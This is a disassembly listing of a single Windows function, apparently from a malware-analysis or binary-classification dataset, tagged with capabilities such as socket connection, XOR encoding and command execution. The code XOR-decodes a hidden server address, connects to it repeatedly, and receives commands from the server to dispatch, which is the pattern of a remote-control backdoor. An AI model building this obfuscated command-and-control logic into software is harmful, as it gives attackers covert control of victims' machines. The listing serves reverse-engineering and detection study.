Function at 0x140002ad0
Capabilities:
Connect socket
Encode data using xor
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
call fcn.1400021f0
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140002f83
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 7
xor r15d, r15d
lea r14d, [rax + 1]
nop dword [rax]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x78], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov dword [rbp - 0x80], r14d
mov dword [rbp - 0x7c], 6
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rbp + 0x168], xmm0
movdqa xmm1, xmmword [0x1400057f0]
movdqu xmmword [rbp + 0x178], xmm1
movdqa xmm0, xmmword [0x1400057d0]
movdqu xmmword [rbp + 0x188], xmm0
mov dword [rbp + 0x198], r15d
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], recv
mov byte [rsp + 0x58], 0
mov r8d, recv
lea rdx, str.22_036231_43
lea rcx, [rsp + 0x58]
call fcn.140003100
nop
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], recv
mov byte [rsp + 0x38], 0
mov r8d, 5
lea rdx, str.02207
lea rcx, [rsp + 0x38]
call fcn.140003100
nop
mov r10d, r15d
mov r11, r15
movsxd rbx, dword [rsp + 0x68]
test rbx, rbx
jle 0x140002c76
nop dword [rax]
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r8, qword [rsp + 0x58]
lea r9, [rsp + 0x58]
cmovae r9, qword [rsp + 0x58]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r10d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x168]
xor cl, byte [r8 + r11]
mov byte [r11 + r9], cl
inc r10d
inc r11
cmp r11, rbx
jl 0x140002c20
mov r10d, r15d
mov r11, r15
movsxd rbx, dword [rsp + 0x48]
test rbx, rbx
jle 0x140002ce6
nop word [rax + rax]
lea r8, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae r8, qword [rsp + 0x38]
lea r9, [rsp + 0x38]
cmovae r9, qword [rsp + 0x38]
mov eax, 0x24924925
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r10d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x150]
xor cl, byte [r8 + r11]
mov byte [r9 + r11], cl
inc r10d
inc r11
cmp r11, rbx
jl 0x140002c90
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x28]
lea r8, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140002fe4
mov rsi, qword [rsp + 0x28]
test rsi, rsi
je 0x140002e89
mov r8d, dword [rsi + 0xc]
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002fd5
nop dword [rax + rax]
mov r8d, dword [rsi + 0x10]
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
mov edi, eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jne 0x140002d50
lea rcx, str.connected__n
call fcn.140001040
mov dword [rsp + 0x20], r15d
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.get_num:
call fcn.140001040
xor r9d, r9d
mov r8d, r14d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140002fc4
movsx edx, byte [rsp + 0x30]
lea rcx, [0x14000576c]
call fcn.140001040
lea r8, [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
mov rcx, rbx
call fcn.140001500
test eax, eax
jne 0x140002d90
lea rcx, str.disconnected..._n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002e2f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002fbd
call fcn.140003440
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], recv
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002f4d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.connected__n
call fcn.140001040
lea rcx, str.chcp_437
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002efd
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ef8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000302d
call fcn.140003440
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], recv
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002f4d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003080
call fcn.140003440
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], recv
mov byte [rsp + 0x58], 0
lea rcx, str.connect..._n
call fcn.140001040
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002b50
lea rcx, str.WSAStartup_fail_n
call fcn.140001040
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140003420
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.get_num_fail..disconnet__n
call fcn.140001040
mov r14d, r15d
jmp 0x140002ff9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed:__ld_n
jmp 0x140002feb
lea rcx, str.getaddrinfo_failed:__d_n
mov edx, eax
call fcn.140001040
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140003039
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003034
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003440
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], recv
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000308c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003087
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003087
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003440
mov eax, r14d
jmp 0x140002f91